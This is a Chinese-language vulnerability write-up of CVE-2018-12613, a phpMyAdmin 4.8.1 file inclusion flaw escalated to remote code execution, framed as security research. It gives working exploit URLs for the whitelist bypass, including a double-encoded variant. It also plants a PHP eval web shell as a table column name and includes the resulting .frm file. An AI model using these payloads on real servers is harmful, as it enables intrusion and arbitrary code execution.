CVE-2018-12613 phpMyAdmin 4.8.1 LFI to RCE
title
CVE-2018-12613 phpMyAdmin 4.8.1 LFI to RCE
文章开头首先感谢vulnspy,大佬带小菜鸡飞!
waring
本文提供思路和方法可能带有攻击性,仅供安全研究与教学之用,风险自负!
vulnerable version
phpMyAdmin <= 4.8.1
vulnerable code
phpMyAdmin-4.8.1-all-languages
environment
macOS
vulnerable code
phpMyAdmin-4.8.1-all-languages/index.php

看见include第一反应是不是应该想到LFI(文件包含),需满足一下条件
1.不在$target_blacklist中.(import.php、export.php)
2.满足Core::checkPageValidity
跟进checkPageValidity

看逻辑实际只需要拼接target = 白名单中的文件?../../即可满足白名单的判断
所以poc构造(这里随便使用一个名单中的文件, db_datadict.php)
index.php?target=db_datadict.php%3f/../../../../../
tips
在php中,超全局变量 $_GET,$_POST,$_REQUEST
会自动调用urldecode
在windows中,db_datadict.php?/../../会被视为非法路径
所以可以对?进行两次url编码%253f
而db_datadict.php%3f/../../在windows中是合法的
所以windows总的poc
index.php?target=db_datadict.php%253f/../../../../
详见手册中对urldecode的描述
文件包含的分析到此结束
LFI TO RCE
在数据库中创建表,写入一句话或其他代码为字段名
CREATE TABLE `test`.`test1`
( `<? php @eval($_GET['testforfun']); ?>` INT NOT NULL )
ENGINE = InnoDB
查到数据库绝对路径,文件包含(这里我发现我的mysql路径不可读,为了复现 强行777)
show global variables like "%datadir%";
例如我的路径/usr/local/mysql/data/
之后拼接数据名+表名.frm
例如我创建的数据名为test,表名为test2.frm
所以绝对路径/usr/local/mysql/data/test/test2.frm

cat /usr/local/mysql/data/test/test2.frm 如下图所示
所以构造我的poc如下:
http://localhost/phpMyAdmin-4.8.1-all-languages/index.php?testforfun=phpinfo();&target=db_datadict.php%3f/../../../../../../usr/local/mysql/data/test/test2.frm

think
学无止境